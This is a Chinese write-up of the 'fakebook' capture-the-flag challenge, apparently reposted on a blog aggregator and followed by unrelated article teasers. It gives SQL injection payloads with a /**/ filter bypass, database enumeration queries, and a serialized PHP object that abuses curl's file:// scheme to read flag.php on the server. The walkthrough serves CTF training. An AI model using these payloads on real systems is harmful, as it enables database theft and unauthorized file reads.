攻防世界-fakebook

news2024/9/23 15:23:11

题目

访问题目场景

我自己尝试了很久,发现怎么都找不到这道题的入手点,然后就去看了大佬们的文章,然后我发现这道题更趋近于真实的场景

解题过程 

先使用目录扫描器扫一下发现存在robots.txt访问一下

这里发现存在一个备份文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

我认为这里比较有用的就是最后的那个方法,说了有大量的匹配,但是目前意义不大,我们继续去在原题的界面点点看,在join.php我们随便的join看看

http://223.112.5.156:55845/join.php

出现了弹窗

 

证明我们输入的Blog不对啊,那就用到了上面的备份的源码了,这里必须得需要https://(可有可无),然后是数字和字符,加一个.  然后是2-6个字母

这样就join成功了,然后我们点击admin

 

 我们发现进入了一个新的界面,但是这个新的界面不是主要的,最主要的就是这个界面的url

http://223.112.5.156:55845/view.php?no=1

 看到这个url很多师傅应该知道,这里大概率的存在注入点,用简单的no=1 and 1=1 以及 no=1 and 1=2,发现了sql注入的存在,判断字符长度,超过4就报错了

http://223.112.5.156:55845/view.php?no=1 order by 4#

 

http://223.112.5.156:55845/view.php?no=1 union select 1,2,3,4 #

这里没有回显,可能存在过滤

在多次测试的情况下发现union select都被过滤掉了,那么就想办法绕过,在百度的过程中我发现了,大佬的文章

 SQL注入时当and、or等字符被过滤了怎么办_litchi125的博客-CSDN博客_sql注入and被拦截

这里正确的绕过姿势是使用/**/union /**/select

/view.php?no=2 union/**/select 1,2,3,4#

爆库

view.php?no=2%20/**/union%20/**/select%201,group_concat(schema_name),3,4%20from%20information_schema.schemata

 

爆表

view.php?no=2%20/**/union%20/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema="fakebook"

爆字段

view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

 

爆值

view.php?no=2 union/**/select 1,group_concat(data),3,4 from users#

这一段话是序列化的字符串,看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下,如/var/www/html/flag.php,然后最开始目录扫描的时候,备份文件的源代码中存在cuit_init(),curl可以使用file伪协议读取文件。

所有我们要使用file输出我们所需要的值,但是之前我们需要进行反序列化操作

<?php   
class UserInfo
{
    public $name = "123";  #任意
    public $age = 123;      #任意
    public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo(serialize($a)); 
?>

构造payload

view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #

 运行payload之后,并没有在前端回显而是存在网页源代码中

使用base64解密一下

 

<?php

$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/137909.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

html、css、js的小米商城

首页的展示 首页的功能 1、搜索栏模糊查询 在我在输入框输入关键字的时候&#xff0c;会匹配关键字&#xff0c;如果我的存放的数据里面包含这些关机键字就会显示出来。做到模糊查询的效果。 2、实现搜索功能 在首页的搜索框点击搜索的时候&#xff0c;就会对你输入的关键字进…

Redis 未授权访问的原理、危害及复现

原理介绍 Redis 未授权访问 准确的来说&#xff0c;其实并不是一个漏洞。而是由于开发人员配置不当&#xff0c;而产生的预料之外的危害。 具体原理&#xff1a; 可能由于部分业务要求&#xff0c;或者开发人员的配置不当&#xff0c;将 redis 服务器的 ip 和 port 暴露在公网…

基础数学(7)——常微分方程数值解法

文章目录期末考核方式基础知识解析解&#xff08;公式法&#xff09;解析解例题&#xff08;使用公式法&#xff0c;必考&#xff09;解析解的局限性数值解数值解的基本流程显示Euler法显示欧拉&#xff08;差值理解&#xff09;显示欧拉&#xff08;Taylor展开理解&#xff09…

ClickHouse表引擎详解看这篇就够了-基本讲解、处理逻辑、测试实例

表引擎是ClickHouse设计实现中的一大特色。表引擎在 ClickHouse 中的作用十分关键&#xff0c;直接决定了数据如何存储和读取、是否支持并发读写、是否支持 index、支持的 query 种类、是否支持主备复制等。1、表引擎概述1.1 介绍ClickHouse 提供了大约 28 种表引擎&#xff0c…

ArcGIS基础实验操作100例--实验43填充面要素空洞

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台&#xff1a;ArcGIS 10.6 实验数据&#xff1a;请访问实验1&#xff08;传送门&#xff09; 高级编辑篇--实验43 填充面要素空洞 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff08;1&a…

JavaScript 条件语句

文章目录JavaScript If...Else 语句条件语句If 语句If...else 语句If...else if...else 语句JavaScript If…Else 语句 条件语句用于基于不同的条件来执行不同的动作。 条件语句 通常在写代码时&#xff0c;您总是需要为不同的决定来执行不同的动作。您可以在代码中使用条件语…

【学习笔记】Shell入门

Shell入门 https://www.bilibili.com/video/BV1WY4y1H7d3 资料&#xff1a;评论区取的 公众号的资料链接 https://pan.baidu.com/s/1_nBKUjE57MB2c96wmfSD5A 提取码&#xff1a;yyds 文章目录一、**Shell** 概述二、**Shell** 脚本入门三、变量1.系统预定义变量2.自定义变量**3…

自学软件测试该如何入门?

互联网行业发展很快技术更新也很快&#xff0c;软件测试技能要求在逐渐提高&#xff0c;自学软件测试要尽快而且入行后需要持续学习。保持好心态&#xff0c;找准教程&#xff0c;按照学习路线和自己的规划一步步学习下去~ 软件测试对代码的要求不像其他编程学科那么高&#x…

30个精品Python练手项目

随着 Python 语言的流行&#xff0c;越来越多的人加入到了 Python 的大家庭中。到底为什么这么多人学 Python &#xff1f;我要喊出那句话了&#xff1a;“人生苦短&#xff0c;我用 Python&#xff01;”&#xff0c;正是因为语法简单、容易学习&#xff0c;所以 Python 深受大…

Java微服务连接云服务器上的ZooKeeper

前言 这次要讲的连接ZooKeeper是在外网的云服务器上&#xff0c;不同于以往的本机上的虚拟机上的ZooKeeper&#xff0c;将会有一些不同于本机的连接方式。连接外网服务器进行操作可以更好的适应企业化的开发&#xff0c;脱离了本机的限制&#xff0c;具有很强的实战意义。 前…

小程序容器产品有何特点?

小程序容器顾名思义&#xff0c;是一个承载小程序的运行环境&#xff0c;可主动干预并进行功能扩展&#xff0c;达到丰富能力、优化性能、提升体验的目的。目前市面已知的技术产品包括&#xff1a;mPaas、FinClip、uniSDK 以及上周微信团队才推出的 Donut。今天&#xff0c;我们…

2022 年,这 20+22 位共建者闪耀 StarRocks 社区

2022 年即将过去&#xff0c;多变波动的大环境之中&#xff0c;一岁多的 StarRocks 社区依然保持了高速成长。这一年里&#xff0c;StarRocks 共发布 47 个大小版本&#xff0c;超过 200 人投入社区建设&#xff0c;每月 PR 数突破 1100。 在项目快速迭代的同时&#xff0c;社…

Jumpserver堡垒机部署使用详细教程

部署jumpserver服务器配置 官方建议2核8G 首先cd 到/opt目录下 curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.28.1/quick_start.sh | bash 下载的时候可能会报错&#xff0c;不用管多执行几次。 正常下载页面是这样 因为是从github拉的所以可…

volatile关键字(针对内存可见性)

一&#xff0c;示例 说明&#xff1a;创建两个线程&#xff0c;t1线程用来判断定义的flag变量是否等于0&#xff08;等于0的话进入循环什么都不做&#xff09;&#xff0c;t2线程用来输入一个变量来修改flag的值&#xff1b;我们想要通过t2线程修改flag变量的值来达到跳出t1线…

Educational Codeforces Round 140 (Rated for Div. 2)(A,B,D)

太久没写博客了&#xff0c;感觉做的题不自己写一遍思路总还是有点问题。。。又到了新年啦&#xff0c;cf的新年特效爱了爱了A. Cut the Triangle给出三角形的三个顶点坐标&#xff0c;问是否可以使用水平或者竖直线从任意一个顶点将三角形划为两部分。思路&#xff1a;易得知&…

研发协同利器:XState调研与应用

背景帖子详情是一个图文/视频混排、拥有大量长文本、大量交互和部分细节动效的页面&#xff0c;细节组件非常多&#xff0c;页面复杂度高。按以往的页面协作方式&#xff0c;会将一个个组件样式、组件数据和组件交互逻辑交给对应的开发同学完成&#xff0c;通过多人协同最终搭建…

【数据结构】C语言实现栈和队列

目录 一、栈 1、栈的概念及结构 2、如何实现栈 3、代码实现 3.1 栈的定义 3.2 栈中将要实现的函数 3.3 函数实现 二、队列 1、队列的概念及结构 2、如何实现队列 3、代码实现 3.1 队列定义 3.2 队列中将要实现的函数 3.3 函数实现 一、栈 1、栈的概念及结构 栈&am…

AI医药论文阅读-使用药物描述和分子结构从文献中提取药物-药物相互作用

202107Using drug descriptions and molecular structures for drug-drug interaction extraction from literature 使用药物描述和分子结构从文献中提取药物-药物相互作用 Bioinformatics. 2021.07 有代码 https://github.com/tticoin/DESC_MOL-DDIE 目录 202107Using dru…

2022亚太杯数学建模(补赛)DE题思路模型代码

占个位置吧&#xff0c;开始在本帖实时更新赛题思路代码&#xff0c;文章末尾名片获取&#xff01;ABC题已更新 持续为更新参考思路 赛题思路 会持续进行思路模型分析&#xff0c;下自行获取。 D题思路&#xff1a; &#xff08;比赛开始后第一时间更新&#xff09; E题思…

面试官:海量请求下的接口并发解决方案,具体聊聊吧

设定一个场景&#xff0c;假如一个商品接口在某段时间突然上升&#xff0c;会怎么办&#xff1f; 生活中的例子来说&#xff0c;假设冰墩墩在当天晚上上热搜之后&#xff0c;迅速有十几万人去淘宝下单购买&#xff0c;此时并没有做好对该商品的缓存预热以及准备&#xff0c;如何…